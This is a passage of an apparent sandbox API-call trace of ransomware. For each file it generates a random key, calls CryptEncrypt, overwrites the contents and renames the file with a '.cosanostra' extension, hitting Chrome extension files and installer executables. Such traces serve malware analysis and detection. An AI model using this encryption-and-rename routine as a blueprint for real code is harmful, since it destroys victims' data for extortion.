lpOverlapped=0x0) returned 1 [0086.051] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf774, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf774*=0x30, lpOverlapped=0x0) returned 1 [0086.051] CloseHandle (hObject=0x184) returned 1 [0086.052] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cosanostra")) returned 1 [0086.053] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7b0 | out: pbBuffer=0x2abf7b0) returned 1 [0086.054] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7a8*=0x30) returned 1 [0086.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.054] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 155 [0086.054] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.055] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.055] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x2abf76c, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf76c*=0xdd, lpOverlapped=0x0) returned 1 [0086.055] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.055] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf76c, lpOverlapped=0x0 | out: lpBuffer=0x2abf7ac*, lpNumberOfBytesWritten=0x2abf76c*=0x4, lpOverlapped=0x0) returned 1 [0086.055] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf76c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf76c*=0x30, lpOverlapped=0x0) returned 1 [0086.055] CloseHandle (hObject=0x184) returned 1 [0086.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0086.057] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7a8 | out: pbBuffer=0x2abf7a8) returned 1 [0086.057] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf7a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf7a0*=0x30) returned 1 [0086.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.057] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 155 [0086.057] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.058] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.058] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2abf764, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf764*=0xd0, lpOverlapped=0x0) returned 1 [0086.058] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.058] WriteFile (in: hFile=0x184, lpBuffer=0x2abf7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf764, lpOverlapped=0x0 | out: lpBuffer=0x2abf7a4*, lpNumberOfBytesWritten=0x2abf764*=0x4, lpOverlapped=0x0) returned 1 [0086.058] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf764, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf764*=0x30, lpOverlapped=0x0) returned 1 [0086.059] CloseHandle (hObject=0x184) returned 1 [0086.059] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json.cosanostra")) returned 1 [0086.060] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf7a0 | out: pbBuffer=0x2abf7a0) returned 1 [0086.060] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf798*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf798*=0x30) returned 1 [0086.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.060] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 155 [0086.060] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.061] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.061] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xe5, lpNumberOfBytesWritten=0x2abf75c, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf75c*=0xe5, lpOverlapped=0x0) returned 1 [0086.061] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.061] WriteFile (in: hFile=0x184, lpBuffer=0x2abf79c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf75c, lpOverlapped=0x0 | out: lpBuffer=0x2abf79c*, lpNumberOfBytesWritten=0x2abf75c*=0x4, lpOverlapped=0x0) returned 1 [0086.061] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf75c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf75c*=0x30, lpOverlapped=0x0) returned 1 [0086.061] CloseHandle (hObject=0x184) returned 1 [0086.061] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0086.063] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf798 | out: pbBuffer=0x2abf798) returned 1 [0086.063] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf790*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf790*=0x30) returned 1 [0086.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.064] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 155 [0086.064] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.065] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff15, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.065] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x2abf754, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf754*=0xeb, lpOverlapped=0x0) returned 1 [0086.065] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.065] WriteFile (in: hFile=0x184, lpBuffer=0x2abf794*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf754, lpOverlapped=0x0 | out: lpBuffer=0x2abf794*, lpNumberOfBytesWritten=0x2abf754*=0x4, lpOverlapped=0x0) returned 1 [0086.065] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf754, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf754*=0x30, lpOverlapped=0x0) returned 1 [0086.065] CloseHandle (hObject=0x184) returned 1 [0086.065] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0086.067] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf790 | out: pbBuffer=0x2abf790) returned 1 [0086.067] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf788*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf788*=0x30) returned 1 [0086.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.067] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 155 [0086.067] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.068] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.068] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2abf74c, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf74c*=0xe0, lpOverlapped=0x0) returned 1 [0086.068] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.068] WriteFile (in: hFile=0x184, lpBuffer=0x2abf78c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf74c, lpOverlapped=0x0 | out: lpBuffer=0x2abf78c*, lpNumberOfBytesWritten=0x2abf74c*=0x4, lpOverlapped=0x0) returned 1 [0086.068] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf74c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf74c*=0x30, lpOverlapped=0x0) returned 1 [0086.068] CloseHandle (hObject=0x184) returned 1 [0086.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0086.071] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf788 | out: pbBuffer=0x2abf788) returned 1 [0086.071] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf780*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf780*=0x30) returned 1 [0086.071] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0086.072] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 89 [0086.072] StrStrW (lpFirst="VC_redist.x64.exe", lpSrch=".txt") returned 0x0 [0086.081] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.081] WriteFile (in: hFile=0x178, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf744, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x2abf744*=0x2800, lpOverlapped=0x0) returned 1 [0086.081] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.081] WriteFile (in: hFile=0x178, lpBuffer=0x2abf784*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf744, lpOverlapped=0x0 | out: lpBuffer=0x2abf784*, lpNumberOfBytesWritten=0x2abf744*=0x4, lpOverlapped=0x0) returned 1 [0086.094] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf744, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf744*=0x30, lpOverlapped=0x0) returned 1 [0086.094] CloseHandle (hObject=0x178) returned 1 [0086.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.cosanostra" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.cosanostra")) returned 1 [0086.103] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf778 | out: pbBuffer=0x2abf778) returned 1 [0086.103] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf770*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf770*=0x30) returned 1 [0086.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.107] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 150 [0086.107] StrStrW (lpFirst="page_embed_script.js", lpSrch=".txt") returned 0x0 [0086.108] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.108] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2abf734, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf734*=0xe0, lpOverlapped=0x0) returned 1 [0086.108] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.108] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf774*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf734, lpOverlapped=0x0 | out: lpBuffer=0x2abf774*, lpNumberOfBytesWritten=0x2abf734*=0x4, lpOverlapped=0x0) returned 1 [0086.108] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf734, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf734*=0x30, lpOverlapped=0x0) returned 1 [0086.108] CloseHandle (hObject=0x18c) returned 1 [0086.109] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.cosanostra")) returned 1 [0086.110] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf770 | out: pbBuffer=0x2abf770) returned 1 [0086.110] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf768*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf768*=0x30) returned 1 [0086.110] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.110] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 143 [0086.110] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0086.116] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffa4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.116] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x2abf72c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf72c*=0x5b1, lpOverlapped=0x0) returned 1 [0086.117] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.117] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf72c, lpOverlapped=0x0 | out: lpBuffer=0x2abf76c*, lpNumberOfBytesWritten=0x2abf72c*=0x4, lpOverlapped=0x0) returned 1 [0086.117] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf72c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf72c*=0x30, lpOverlapped=0x0) returned 1 [0086.117] CloseHandle (hObject=0x18c) returned 1 [0086.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 